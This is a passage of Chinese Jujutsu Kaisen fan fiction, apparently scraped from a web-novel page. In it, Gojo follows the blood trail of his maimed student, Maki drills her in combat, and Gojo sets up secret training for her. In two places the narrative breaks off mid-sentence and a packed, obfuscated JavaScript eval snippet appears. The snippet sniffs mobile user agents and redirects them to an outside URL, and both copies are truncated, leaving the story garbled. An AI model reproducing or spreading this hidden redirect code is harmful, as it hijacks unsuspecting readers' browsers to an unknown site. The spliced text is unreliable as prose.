那些银色的丝线在前面引路,带着他穿过一片又一片断裂的树木,越过一滩又一滩已经干涸的血迹。 越往深处走,那些痕迹就越密集,越触目惊心。 树干上留着深深的抓痕,草丛被大面积压倒,有的地方甚至能看到完整的、挣扎过的痕迹,像是有人在这里拼命闪躲,拼命奔跑,拼命—— 他停下脚步 路边一丛不起眼的杂草里,有微弱的咒力残留。 五条悟弯下腰,拨开那些草叶,看见了里面的东西。 那是一节手臂 干枯细瘦、黑紫色,从中间断裂,只剩下从手肘到手腕的一截。 如果不仔细看,很难分辨出这曾经是人的肢体,像是枯死的树枝,皮肤紧紧贴着骨头,颜色黑紫,像是从内部腐蚀过。 但六眼清晰地告诉他,这是花野依的手臂。 是她断掉的右手。 五条悟盯着那节手臂,一动不动。 他弯着腰,低着头,看着那节枯干的、黑紫色的、曾经属于他的学生的断臂。 夜风吹过,草丛沙沙作响,那节手臂轻轻滚动了一下。 五条悟的喉结微微动了动。 他没有说话,没有动作,甚至没有表情,他只是直起身,继续往前走,沿着那些咒力残留,沿着那些越来越多的血迹,一步一步,走向森林更深处。 那些血迹越来越多,越来越密,多到已经盖过了咒力残留,多到几乎每一步都能看见新的血渍。 洒在树叶上,溅在树干上,渗进泥土里,像是在一边跑一边流血,流了一路。 突然,一条长长的痕迹出现在他的视野里。 那是一条爬行的痕迹。 从某个点开始,那些脚印消失了,取而代之的是一道被身体拖曳出来的、蜿蜒向前的痕迹。 痕迹边,是手掌按压留下的印子,一个接一个,深深浅浅,一直延伸到前方。 她在这里倒下了 用她仅剩的那只手,一点一点,向前爬。 五条悟沿着那条爬行的痕迹往前走,一步一步,走得很慢,很慢。 他的目光落在那些手印上,落在那些被身体拖出的痕迹上,落在那些沿途洒落的、越来越多的血迹上。 痕迹的尽头,是一小块被血液彻底染成深黑色的土壤。 那里的泥土已经完全变了颜色,黑红黑红的,土壤的表面有一个人形的凹陷,很浅,但很完整。 能看出她最后是怎么趴在那里的,是怎么把脸埋进泥土里的,是怎么—— 五条悟站在那里,低头看着那块土壤。 夜风吹过,带来远处山林的气息,带来泥土的腥味,带来那股若有若无的、让他几乎无法呼吸的。 “呵。” 他发出一声极轻的笑 那笑声很短,很淡,淡得几乎听不见。 但就在那一瞬间,他周身的咒力紊乱了一瞬,像是平静的水面被投入一颗石子,荡起一圈涟漪,然后迅速恢复平静。 上一次咒力紊乱,还是十年前。 他此刻的情绪,已经达到了某个峰值 自己的学生,自己还没来得及好好教导的学生,自己刚刚还答应要给她带开胃梅干的学生。 在这个荒无人烟的森林里,在这个被那些愚蠢村民当作祭坛的山洞外,一个人,拖着断臂,流着血,爬了那么长那么长的距离 如果不是她命大,如果不是她在最后关头领悟了反转术式。 一年级现在就一个人不剩了 不,如果加上那个被他隐瞒起来的虎杖悠仁,一年级就只剩一个了。 而这一切,只是因为那些坐在安全的后方、动动嘴皮子就能决定别人生死的老家伙们,来试探他的学生。 五条悟慢慢直起身,把眼罩重新戴好,遮住了那双此刻冷得吓人的眼睛。 去给他们一些教训吧 他想 一个两个的,都来试探他的学生,上次是虎杖,这次是花野依。 下次呢? 下次又是谁?伏黑?钉崎? 还是那些还没来得及入学的、根本不知道咒术界有多肮脏的孩子? 一个一个找太麻烦了 所以干脆—— 他抬起头,看向远处那片深沉的夜色,嘴角弯起一个弧度,那弧度很浅,但却让人莫名地脊背发凉。 干脆让那些老家伙们好好记住一件事! ———— 难得的休息日,没有任务,没有紧急通知,只有明亮的阳光从窗户洒进来,落在训练场的地面上,把一切都照得暖洋洋的。 花野依站在训练场边缘和野蔷薇他们一起训练,为了即将到来的姐妹交流会。 “哟——!一年级的!都到齐了吗!” 一个巨大的、毛茸茸的身影蹦蹦跳跳地朝他们跑来,那是一只熊猫? 不对,是咒骸?他圆滚滚的,毛茸茸的,走起路来一颠一颠,看起来可爱得不得了。 “我是熊猫前辈!”那只熊猫在他们面前站定,咧着嘴笑,“请多关照!” 花野依看着他,眼睛不自觉地亮了起来 好可爱! 噗噗从她的影子里探出半个脑袋,一双黑豆一样的眼睛也盯着那只熊猫,发出轻轻的“噗叽”声。 熊猫前辈显然也注意到了噗噗,他弯下腰,凑近看了看,然后发出惊喜的声音: “哇!你也有式神啊!好小 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“金枪鱼蛋黄酱是‘请多关照’,明太子是‘谢谢’,鲣鱼干是‘小心’,基本就是这些。” 花野依和钉崎野蔷薇看着他的眼神瞬间变得崇敬起来。 另一个身影走过来,是一个绑着高马尾、神情严肃的女生,她的腰间别着几把咒具,走路带风,浑身上下透着一股“我很强别惹我”的气场。 “禅院真希,叫我真希就行。” 她简短地自我介绍,目光从三个人脸上扫过,最后定格在花野依身上 “你就是那个独自祓除了特级咒灵的一年级?” 花野依被那目光看得一缩,下意识地点了点头。 “体术怎么样?” “欸?体、体术……一般……” “一般?”真希前辈的眉头微微皱起 “一般可不行!交流会可不是只靠术式就能赢的,体术不行,上场就是给人当靶子。” 花野依缩了缩脖子,不敢说话 真希前辈上下打量了她一眼,然后做出了一个让花野依差点晕过去的决定: “从今天开始,你每天加练两个小时体术,我亲自教你。” “欸——?!” 花野依的声音都劈叉了 但真希前辈的“亲自教”不是说说而已 上午的训练,花野依终于明白了什么叫“体术最弱的下场”。 “动作太慢了!” 啪! “脚步不稳!” 啪! “发力方式不对!” 啪! 那根木刀一次次地落在她身上,力道不重,但每次都能精准地打在她最痛的地方。 花野依被抽得东倒西歪,身上青一块紫一块,眼泪都快出来了,但真希前辈完全没有停手的意思。 “站起来!” “继续!” “再来!” 钉崎野蔷薇在旁边看得心惊胆战,小声对伏黑惠说:“真希前辈好可怕……” 伏黑惠看了她一眼,淡淡道:“真希前辈是认真的,她是在帮花野。” “但是下手也太重了!” “花野的体术确实太弱了,”伏黑惠说 “交流会不是开玩笑的,她的[幻花镜]是团战的帮手,但是后面的个人战对手不会因为她就手下留情。” 花野依又一次被抽倒在地 她趴在地上,大口大口地喘着气,浑身疼得像是被车碾过。 汗水混着灰尘糊了一脸,视线都模糊了,但她没有趴太久,几秒后,她又挣扎着爬起来,摇摇晃晃地站直,看向对面那个依然一脸严肃的真希前辈。 “还、还能继续……”她喘着气说。 真希前辈看着她,眼里闪过一丝极淡的、几乎察觉不到的满意。 “继续。” 木刀再次落下 训练场边,熊猫前辈不知从哪里掏出一包爆米花,一边吃一边看着热闹,嘴里还嘟囔着“一年级的小朋友真拼命啊”。 “鲑鱼。” 狗卷前辈站在他旁边,偶尔用饭团语点评几句 花野依不知道还要被抽多少次,她知道她不能放弃。 她不能,绝对不能再让那样的事情发生! “再来!”她说,声音沙哑,却很坚定。 真希的嘴角,微微弯起一个极小的弧度。 24. 第二十四章 一个普通的下午,阳光透过高专食堂的窗户洒进来,在木质地板上投下一片片温暖的光斑。 熊猫坐在靠窗的位置,他的目光落在不远处那个正在排队打饭的身影上,然后转过头,对着坐在自己旁边的狗卷棘,用一种故作神秘的语气小声说: “真希最近心情很好呢。” 狗卷棘正低着头啃饭团,闻言抬起头,顺着熊猫的视线看了一眼,然后点了点头:“鲑鱼,鲑鱼。” “是花野后辈吧?”熊猫把声音压得更低,脸上的表情换成了一副“我已经看穿一切”的假认真。 “鲑鱼,鲑鱼!”狗卷棘也换上那副假认真的表情,用力点了点头。 砰! 一个餐盘重重地放在餐桌上,发出沉闷的撞击声。 炸猪排咖喱盖饭的香气瞬间飘散开来,但比那香气更有存在感的,是餐盘主人那张带着明显不悦的脸。 禅院真希双手抱臂,居高临下地看着面前那两个“窃窃私语”的人,语气不善: “喂,你们两个在窸窸窣窣地说我什么坏话?” 熊猫和狗卷棘同时摆手,动作整齐得像排练过,然后熊猫换上一脸揶揄的笑容,语气里带着那种让人想打他的调子: “没说你坏话啦,真希。我们是在说你最近很照顾我们的花野后辈呢!” “哼!” 真希的嘴角微微翘起,那点得意几乎藏不住,她拉开椅子,在熊猫对面坐下,双手依然抱在胸前,语气却软了几分: “那家伙还有得练呢!” 虽然是抱怨,但那语气,那表情,那微微上扬的嘴角,任谁都能看出来,此刻的禅院真希心情好得不得了。 她转头看向食堂四周,目光在人群中扫过,却没有找到那几张熟悉的面孔,她的眉头微微皱起,语气里带上了一丝疑惑: “所以一年级他们呢?没来吃饭吗?” “一年级的啊,”熊猫思考了一下,说道,“被悟叫走了,说是有什么东西要给他们看。” 真希的额角瞬间暴起青筋: “真是的!那个不着调的家伙,好歹让一年级的吃了饭再说啊!” “哇哦——!” 熊猫拖长了语调,转头对着旁边正默默啃饭团的狗卷棘,用一种假装说悄悄话实则声音大得谁都听得见的语气说 “真希前辈心疼我们花野后辈了呢!” “闭嘴!熊猫!” 真希的脸颊泛起了淡淡的红色,但她依然梗着脖子嘴硬: “我只是在普通的关心一年级罢了!普通的!” “之前不认识花野的时候,也没见你‘普通的关心’伏黑惠他们啊,” 熊猫一脸严肃地看着她,语气里带着一种过来人的深沉 “真希,你就承认吧,现在傲娇已经不流行了哦。” “鲑鱼,鲑鱼!”狗卷棘在一旁附和,还用力点了点头。 “谁管你啊!” 真希的声音不自觉地拔高了几分,引得周围几个职工人员纷纷侧目 “狗卷你也不要凑热闹!” 但那张泛红的脸颊,和那怎么也压不下去的嘴角,早就出卖了她。 与此同时,高专校长办公室里,气氛远没有食堂那么轻松。 “有些做过头了吧,悟。” 夜蛾校长的声音从办公桌后传来,低沉而严肃,带着那种只有面对五条悟时才会出现的、无奈的警告意味。 五条悟正大咧咧地坐在沙发上,一条腿搭在另一条腿上,姿态随意得像是在自己家里。 他闻言歪了歪头,眼睛里闪过一丝困惑,思考了几秒,才恍然大悟: “哦——你是说那几个烂橘子啊?” 他的语气轻描淡写,仿佛在说今天天气不错,他伸手扯了扯滑到脖子上的眼罩,把它重新戴好: “几块烂橘子而已,哪里算得上做过头了呢?” 夜蛾校长的眉头紧紧皱起,声音里带上了一丝严厉: “悟,你——” 咚咚 敲门声响起,打断了夜蛾校长没说完的话。 “老师,可以进来吗?”门外传来伏黑惠平淡无波的声音。 五条悟瞬间坐直了身子,抬手把眼罩调整到最合适的位置,然后转向门口,用那种标志性的、轻快的语气说: “进来吧——” 门被推开,伏黑惠打头走了进来,身后跟着钉崎野蔷薇和花野依。 三个人的脸上都带着不同程度的困惑,毕竟被突然叫来校长办公室,任谁都会觉得奇怪。 “所以,” 伏黑惠站定,看向沙发上那个翘着二郎腿的男人,语气里带着一丝无语 “你有什么事叫我们来?” “哦!是这个!” 五条悟从口袋里掏出一张纸,展开,举到他们面前。 那是一幅画 是一幅很抽象的画 纸上画着两个奇形怪状的轮廓,一个头顶像是顶着枯草,一个脑袋看起来像座火山。 线条歪歪扭扭,比例严重失调,如果不是五条悟说这是“画”,一年级的三个人大概会以为这是哪个小朋友的涂鸦作业。 “就是这两个特级咒灵哦!” 五条悟的语气里带着一丝骄傲,仿佛自己画的是足以传世的名作。 他把那张纸又往前递了递,方便三个人看得更清楚 “下次见到这两个特级咒灵,一定要第一时间给老师打电话哟!” 钉崎野蔷薇一把抢过那张纸,凑到眼前仔细研究起来,伏黑惠和花野依也凑到她身边,三个人六只眼睛盯着那张抽象的画像,陷入了沉默。 “……所以,” 钉崎野蔷薇抬起头,用一种复杂的目光看向五条悟 “这是谁画的?” “是老师我亲手画的哦!”五条悟的语气里那点骄傲更明显了。 “画得也太差了吧!”钉崎野蔷薇毫不留情地吐槽。 “已经很像啦!” 五条悟摆摆手,凑过来指着纸上的那两个轮廓 “等你们看见真货,就会知道老师我画得有多好了!你看这个枯草头,你看这个火山头——特征多明显!” 伏黑惠默默掏出手机,拍下了那张画,然后发给了高专的前辈们,顺便转述了五条悟的话,做完这一切,他收起手机,看向五条悟: “还有什么事要说吗?没事的话我们就去吃饭了。” “嗯——” 五条悟歪着头想了想,然后抬起手臂,指向一直没出声的花野依 “暂时是没有了,不过,小依,你留下来吧。” “嗯!?” 花野依被这突如其来的点名吓了一跳,整个人从自己的思绪里猛地抽离出来。 她抬起头,对上五条悟那双被墨镜遮住的眼睛,有些不好意思地低下头: “内、内个……不好意思五条老师……你刚刚说什么来着……我没听清……” 她那副魂不守舍的模样实在太明显了,眼神飘忽,反应迟钝,连最基本的对话都跟不上。 五条悟看着她,有些无奈地抱起了双臂: “我是说——待会儿你和我走,接下来我会给你单独特训。” 他忽然凑近花野依,压低声音,用一种神秘兮兮的语气说: “会有神秘人士助阵哦!” “喂!” 钉崎野蔷薇的声音瞬间拔高了几分,她上前一步,挡在花野依面前,瞪着五条悟: “我说啊!依现在正在被真希前辈特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471647|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 训中,已经很累了!不需要额外的特训吧?” “嗯……是哦。” 五条悟恍然大悟地点了点头,然后一脸轻松地说 “那就推掉真希那里的特训吧!我这边更重要一点!” “我说啊——!” 钉崎野蔷薇的火气蹭地冒了上来。她指着站在一边的花野依,声音里带着明显的担忧和不满: “我的意思是你没看见依最近的状态不好吗?她需要休息啊!休息!” 花野依被夹在两人中间,脸上已经冒出了细密的汗珠。 她看看五条悟,又看看钉崎野蔷薇,手足无措地试图缓和气氛: “内、内个……内个……不要生气,野蔷薇……” 她抬起手臂,努力想要挤出一点肌肉来证明自己: “我现在完全没问题!所以不要生气了……” “我说你啊——!” 钉崎野蔷薇看着她这副不争气的样子,更是气不打一处来。 她双手按在花野依的肩膀上,隔着那层薄薄的衬衫,手心清晰地感受到了那块突起的骨头瘦的有些硌手。 “你最近一直在和真希前辈训练吧!” 她的语气里带着掩饰不住的担忧 “饭也不认真吃,休息时间也在训练! 虽然我知道你有反转术式,但是怎么看你的状态都算不上好吧?” 她说得没错 花野依此刻的状态,确实算不上好 反转术式可以化解肉/体上的疲惫,但它无法作用在精神层面。 那些消耗殆尽的精力,那些积累下来的压力,那些夜里翻来覆去睡不着的焦虑,那些藏在心底不敢说出口的情绪。 只会一点一点地堆积,一点一点地发酵,最后从眼睛里、从脸上、从整个人的状态里透出来。 此刻的花野依,浑身散发着的疲惫感,浓烈得几乎要溢出来,快要形成特级咒灵了。 但她只是笑了笑,抬起手,轻轻拍了拍钉崎野蔷薇按在自己肩上的手: “没有问题,这不是还有老师在这里嘛! 有什么事的话,老师肯定第一时间会发现的,对吧,五条老师?” 她转过头,看向五条悟,眼睛里带着一种笃定的信任。 五条悟愣了一下 他扯起嘴角,转向钉崎野蔷薇,用一种夸张的、打包票的语气说: “放心吧!老师会照顾好依的!保证让她吃好喝好休息好!一根头发都不会少!” “你最好说到做到!”钉崎野蔷薇瞪着他,语气里还带着余怒。 “好啦好啦,你们快去吃饭吧,依留下来就行。” 五条悟挥挥手,又指了指门口,“依,你先去我办公室等着,我马上就过去。” 花野依点了点头,转身往外走 经过钉崎野蔷薇身边时,她听见野蔷薇还在对着五条悟抱怨: “说起来你只对花野依这么严格也让人火大……” 她回过头,正好看见五条悟对着钉崎野蔷薇吐着舌头、双手堵住耳朵、一脸“我不听我不听”的欠揍表情。 而钉崎野蔷薇正被伏黑惠踉踉跄跄地往外推,一边推一边还在喊“你给我记住——”。 花野依忍不住笑了一下,她转身,向着五条悟的办公室走去。 走廊里很安静,只有她一个人的脚步声在回响。窗外的阳光透过玻璃洒进来,在地面上投下一片片温暖的光斑。 她走着走着,忽然停下脚步,低头看了看自己的手。 那只手曾经断掉过,曾经枯干黑紫,曾经被那只纤细的毒手轻轻握着,像是握着一件无用的垃圾。 现在它完好如初,看不出任何受过伤的痕迹。 她深吸一口气,继续往前走。 25. 第二十五章 花野依推开五条悟办公室的门时,里面一片昏暗,窗帘被拉得严严实实,遮住了午后的阳光,整个房间闷得像一个许久不曾开启的储物间。 门被推开的瞬间,外面的光线从门缝里挤进来,像一把刀切开了那片昏暗,照亮了漂浮在空气中的细碎微尘。 那些微尘在光柱里缓慢地浮动着,像是某种沉睡许久的东西终于被惊醒了。 她走进办公室,身后的门自动合上,房间里又暗了几分,温度有些高,闷热的空气包裹着她,让她不自觉地动了动鼻子。 有一股淡淡的甜味 若有若无的、像是甜品残留的香气,花野依愣了一下,然后反应过来,应该是老师在这里吃过甜品,那股味道还在空气里。 想到这里,她的脸颊忽然有些发烫. 自己在干什么?像个变态一样在老师的办公室里闻来闻去…… 她赶紧甩了甩头,把那点奇怪的念头甩出去,然后目光落在了那张熟悉的黑色办公椅上。 花野依犹豫了一下,还是走了过去,轻轻坐了上去。 下一秒,她就跳了起来。 太热了! 皮质座椅被闷热的空气烤得温热,坐上去像坐在一个暖宝宝上,虽然舒服,但也烫得让人坐不住。 她有些尴尬地看了看那张椅子,然后随便找了个木制椅子坐下。 木制椅子有点硬,有点硌,但至少不烫屁股。 她坐得端端正正,背挺得笔直,双手规矩地放在膝盖上,像一个小学生第一次被叫到老师办公室时那样拘谨。 她的目光没有焦点地看着前方,脑子里却开始飘远。 成为咒术师的意义…… 她不知道该怎么做…… 和咒术高层和谐相处? 不可能,他们把她和她的同伴当成试探五条悟的棋子,当成可以随意牺牲的消耗品。 和无知的普通人和谐相处? 更不可能,他们随时随地都可能变成下一群把她送上祭坛的猴子。 那她该怎么办? 继续做那个只想开花店的普通女孩? 可她回不去了,面对同伴的受伤和死亡,她不可能再假装什么都没发生。 继续做咒术师? 可这条路太难了,到处都是荆棘,到处都是陷阱,到处都是那些想把她当成棋子的手。 她不知道该怎么选择 她甚至不知道自己还能不能选择。 “哇——好热!” 五条悟的声音突然在耳边炸开,把花野依从沉思中猛地拽了回来。 她转过头,看见那个高挑的身影推开办公室的门,眼罩不知道什么时候换成了墨镜,一边往里走一边夸张地抱怨着: “为什么不开空调?热死了热死了热死了——!” 他走进来的时候带起一阵风,把那点甜味的空气搅得更加稀薄。 他抬手按下了墙上的空调开关,机器嗡嗡地启动,冷风从出风口呼呼地吹出来,带来一阵沁人心脾的凉意。 花野依看着那台空调,忽然愣了一下,下意识地开口: “空调居然是好的?” “嗯?”五条悟转过头看向她,有些疑惑地歪了歪头,“什么意思?” 花野依连忙解释,声音里还带着一丝惊讶: “因为高专的空调都是十年前的,制冷一点都不好…… 我宿舍那台开半天都感觉不到凉快,食堂的也是,训练场的干脆就是个摆设……” “哼哼——!” 五条悟的嘴角高高上扬,露出一个得意的笑容,那笑容里带着骄傲 “这是老师自费的啦!整个高专独一台,私人订制,超级强力制冷,夏天必备神器!” 他说着,还特意走到空调下面,伸手感受了一下吹出来的冷风,做出一副很享受的样子。 花野依的眼睛微微睁大,忍不住感叹: “哇!好羡慕!” 她是真的羡慕 在这个连窗帘都透着一股陈旧气息的高专里,居然有一间能吹出冷气的办公室,简直就是天堂一样的存在。 她想象着夏天的时候,外面热得像蒸笼,而老师却能舒舒服服地坐在这间办公室里,吹着冷气,吃着甜品—— 太幸福了! 五条悟享受完冷风,转过身来,目光落在她身上。 他看了看她坐的那张木制椅子,又看了看自己那张黑色的皮质办公椅,挑了挑眉: “怎么不坐那张椅子?我记得你上次很喜欢。” 花野依摇了摇头,有些不好意思地解释: “皮质座椅被晒得太热了……坐上去有点烫。” “哦——!” 五条悟拖长了语调,然后大咧咧地走过去,在那张黑色的办公椅上坐了下来。 他往后一靠,整个人陷进那片柔软里,翘起二郎腿,姿态闲适得像一只晒太阳的猫。 “那老师就不客气了!” 花野依看着他,忍不住在心里腹诽:明明本来就是他的椅子…… 但这句话她当然不会说出来 五条悟靠在椅背上,翘着二郎腿,看不出有多严肃,但那双被墨镜遮住的眼睛正看着她。 “好了,”他说,语气比刚才正经了几分,“叫你过来,是有事要和你说。” 花野依不自觉地绷直了背,双手在膝盖上握紧了一些。 “前段时间我不是给你们看了那两个特级咒灵的画像吗?” 五条悟开口,手指在椅子扶手上轻轻敲着,“那个枯草头的咒灵,给我的感觉,和你很像。” 花野依愣住了 和她很像? “特别是,”五条悟继续说,语气里带着一丝玩味,但那玩味下面,藏着的是真正的认真, “那个家伙也会用类似你的术式——花田什么的,来迷惑我,虽然不是同一种术式,但性质上确实很像。” “欸?” 花野依的声音里满是惊讶,眼睛不自觉地睁大了,“和我的术式……很像?” “嗯嗯!”五条悟点了点头 “当然,和你的术式原理不同,但那种‘用花来迷惑人’的思路,确实很像。” 花野依的脑海里开始浮现出各种念头 一个会用花田术式的咒灵? 冲着她来的? 她想起那个“山神”,想起那些村民,想起那些违和感,心里忽然涌起一种说不清的不安。 五条悟看着她,他的语气忽然沉了下来,带上了一丝难得的严肃。 像是无形的重量,压在空气里,让花野依不自觉地绷紧了身体。 “小依,”他开口,叫了她的名字,“我最近有一种感觉。” 花野依屏住呼吸,等着他继续说 “最近发生的这些事,” 五条悟语速比平时慢了一些,每一个字都像是经过斟酌 “都和你有着若有若无的联系。” 他顿了顿,那双眼睛定定地看着她: “具体是什么,我也捉摸不透,但有一点,我可以确定。” 花野依的心跳开始加快。 “那个枯草头咒灵,”五条悟一字一句地说,“是冲着你来的。” 办公室里安静了几秒。 只有空调吹出冷风的呼呼声,和窗外隐约传来的虫鸣。 花野依坐在那里,感觉自己的心跳声大得惊人,她下意识地握紧了双手,指甲掐进掌心里,带来一点刺痛。 冲着她来的。 那个特级咒灵,是冲着她来的。 “包括你上次解决的那个‘山神’,”五条悟继续说 “那个任务本身,那个咒灵,那些村民。 都给我一种说不清的违和感,像是有什么东西在背后推着这一切发生。” 他沉默了几秒,然后开口:“我不喜欢这种感觉。” 花野依看着他,看着那张被墨镜遮住的脸,看着那微微抿起的嘴角,看着那难得认真起来的姿态。 她忽然意识到,老师对她的担忧。 是更深层次的、更复杂的像是感觉到他无法掌控的东西。 五条悟沉默了一会儿,然后靠回椅背上,翘着的二郎腿换了个姿势。 他抬手把墨镜往上推了推,露出一小截鼻梁,然后又放下来,那动作里带着一点少见的、不确定的意味。 “所以,”他说,语气恢复了平时那种轻快的调子, “为了不引起不必要的注意,你需要‘消失’一段时间。” 花野依眨了眨眼 “这段时间,”五条悟说,“我会帮你特训,确保你有足够的自保能力。” 花野依听着他的话,心里的忧虑一点一点地加深。 又给老师添麻烦了 如果不是因为她,老师就不用操这么多心。 如果不是因为她,老师就不用费心思去查那些咒灵的来历。 如果不是因为她—— “不要想太多!” 五条悟的声音忽然响起,打断了她的思绪。 花野依抬起头,对上他的视线。 他依然翘着二郎腿坐在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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长期待在一起? 是包括……住在一起吗? 应该不可能吧? 她用力甩了甩头,把那点奇怪的念头甩出脑袋。 不可能的。 绝对不可能的。 老师肯定有别的安排。 “怎么了?”五条悟看着她那副摇头晃脑的样子,有些疑惑,“想什么呢?” “没、没什么!”花野依连忙站起来,脸上有些发烫,“我、我知道了,我现在就回去收拾。” 她走到门口,忽然想起什么,回过头来: “老师,还有别的事要说吗?” 五条悟歪着头想了想: “暂时没有了,收拾好了给我发消息,我去接你。” 花野依点了点头,推门走了出去。 走廊里依然安静,阳光从窗户洒进来,在地面上投下一片片温暖的光斑,她站在那道光里,朝着宿舍的方向走去。 阳光落在她身上,把她的影子拉得很长很长。 她一步一步往前走,脑海里却还回荡着五条悟刚才说的那些话。 那个枯草头的咒灵是冲着她来的。 那些违和感背后藏着什么。 她需要“消失”一段时间。 长期待在一起…… 她用力摇了摇头,把最后一个念头甩出去。 别想了别想了。 不管接下来会发生什么,有老师在,就够了。 她加快脚步,走向宿舍。 身后,那扇办公室的门还开着一条缝,五条悟坐在里面,透过那条缝看着她的背影消失在走廊尽头。 他靠在椅背上,翘着二郎腿,手指轻轻敲着扶手。 他伸手拿过桌上的手机,拨出了一个号码。 电话响了两声,被接起来。 “喂?是我。帮我准备一下那个地方……对,就是那个,嗯,两周左右。” 他挂了电话,把手机随手扔在桌上,然后整个人往椅子里一缩,闭上眼睛。 空调还在呼呼地吹着冷风,办公室里很凉快,很舒服。 他忽然想起什么,睁开眼睛,看向那张花野依坐过的木制椅子。 那孩子,还是太瘦了,他想着,又闭上眼睛。 26. 第二十六章 花野依回到宿舍,从柜子里翻出那个许久没用过的行李箱,平摊在地上。 睡衣,牙刷牙膏,洗脸毛巾,换洗的衣物。 还有什么需要带的吗?充电器,笔记本和笔…… 正当她蹲在行李箱前认真思考的时候,身后传来一声轻轻的“噗叽”。 她转过头,看见噗噗正从床上爬起来,那双黑豆一样的眼睛半睁半闭,一副还没完全清醒的样子,它整个身子歪歪扭扭的,像是随时要倒回去继续睡。 “噗噗!”花野依站起来走到床边,把那个小小的圆滚滚的身体抱进怀里。 噗噗在她怀里蹭了蹭,发出舒服的咕噜声,小爪子搭在她的手臂上,力道软绵绵的,花野依摸了摸它的脑袋,有些担心地问 “还好吗?现在还想睡吗?” 自从噗噗完全消化了那个特级咒灵的咒力之后,它就陷入了长时间的睡眠。 虽然偶尔会醒过来,但清醒的时间很少,大部分时候都蜷缩在她床上。 花野依检查过很多次,确定它确实没什么事,只是单纯的很困。 就像吃得太饱之后需要好好消化一样,那股困意从它身上透出来,连带着她偶尔也会觉得倦怠。 “噗叽,噗叽!” 噗噗在她怀里摇了摇头,表示自己现在不想睡了,还伸出细小的爪子拍了拍她的手背,像是在安慰她别担心。 那双黑豆一样的眼睛努力睁大,试图证明自己很清醒。 “嗯……好吧,到时候让五条老师看看吧。” 花野依还是有些放心不下,如果五条老师看过之后说没事,那才是真的没事。 “噗叽!”噗噗忽然伸出爪子,指了指地板上打开的行李箱。 花野依顺着它的目光看过去,解释道:“接下来我们要跟着五条老师特训,这是收拾的行李。” 噗噗的爪子轻轻抓住她的手臂,力道比刚才重了一点,那双黑豆一样的眼睛定定地看着她,发出急促的“噗叽噗叽”声。 像是在说“不要忘记带上我”,声音里带着急切和不安,像是在担心自己会被留下。 “不会忘的,放心吧。” 花野依笑着摸了摸它的头,指尖顺着它的脑袋轻轻抚摸 “你可是最重要的。” 噗噗的眼睛弯了起来,发出满足的声音。 “也没什么要带的了,” 花野依环顾了一圈房间,关上行李箱,转头问 “噗噗,你是要跟着我还是待在影子里?” 噗噗低头看了看行李箱,又看了看花野依的影子,然后“噗叽”一声,伸手指了指行李箱。 接着它张开嘴一口把整个行李箱吞了下去,肚子鼓鼓囊囊的,看起来有些滑稽。 做完这一切,噗噗站在她面前,呆呆地看着她。 这是要待在影子里的意思。 “好哦!”花野依说着,催动咒力。 脚下的影子开始波动起来,像是一池被风吹皱的墨水。 那波动从她的脚边蔓延开去,在光洁的地板上荡出一圈圈涟漪。 噗噗迈着短小的四肢走向那片波动的阴影,在边缘处停下,回头看了她一眼,然后跳了下去。 影子吞没了那个小小的绿色身影。 “噗噗叽——!” 从影子深处传来一声轻轻的呼唤,是噗噗在告诉她“我好了”,声音闷闷的,像是隔着一层什么东西,但依然清晰。 花野依闻言,减弱了咒力的输出,只维持着一个微弱的量,这样噗噗在影子里会待得更舒服,也更节省咒力,脚下的影子慢慢恢复了正常,看不出任何异样。 叮咚! 手机传来消息提示音,花野依掏出手机,屏幕亮起来,是五条悟发来的: “小依!收拾好了就到校门口哦!老师在那里等你!” 消息后面还跟着一个摇来摇去的小人表情,看上去心情很好的样子。 她看着那条消息,嘴角忍不住微微上扬,打字回复:“好的,我现在收拾好了,马上过来。” 她把手机揣进口袋,最后看了一眼房间,阳光透过窗帘的缝隙洒进来,在地板上投下一道细长的光,她转身,推门出去。 下午的太阳依旧很烈,阳光毫无遮挡地照在身上,晒得皮肤发烫,从宿舍到校门口的距离不算短,花野依一路小跑,脚下的步伐越来越快。 她能感觉到汗水从额角渗出来,顺着脸颊滑落,咸咸的汗水流进嘴角,带着一点涩味。 后背的衬衫也被汗浸湿了一小块,黏糊糊地贴在皮肤上,随着跑动一下一下地摩擦着。 跑到校门口的时候,她看见那辆黑色的车停在不远处。 五条悟正靠在车门边,双手抱臂,脸上的表情淡淡的,不知道在想什么。 阳光落在他身上,在他周围镀上一层薄薄的光晕,黑色的墨镜反射着光,让人看不清他的眼睛,他就那么静静地站着,像是和周围的一切隔绝开来。 但一看见她,那张脸瞬间就亮了起来。 他抬起手,朝她用力挥了挥,动作夸张得像个小孩:“这边这边!” 花野依加快脚步跑过去,在他面前停下来,微微喘息,心跳砰砰砰地撞着胸腔,额头的汗水细细密密地渗出来,在阳光下闪着光。 脸颊因为奔跑泛起一层红晕,在那张苍白的脸上格外明显,她觉得自己的样子一定很狼狈。 “久、久等了……”她喘着气说,声音断断续续的。 五条悟没有回答,他只是弯下腰,凑近了一点,那双被墨镜遮住的眼睛正看着她。 太近了! 近到她能看清墨镜边缘反射出的自己的影子,她甚至能感觉到他的呼吸。 微湿的鬓角贴在泛红的脸颊边,几缕碎发被汗水粘在额头上,像是刚刚洗过脸没来得及擦干。 睫毛被额头的汗水打湿,一簇一簇地黏在一起,衬得那双原本就圆润的眼睛更加水汪汪的,像含着眼泪要掉不掉的样子。 鼻尖也因为太热而微微泛红,可能是跑过来的缘故,原本没什么血色的嘴唇此刻倒显出一点淡粉,被主人下意识地抿着,抿得有些发白。 整个人看起来像是刚经历过什么狼狈的事,又像是受了什么委屈还没来得及哭出来。 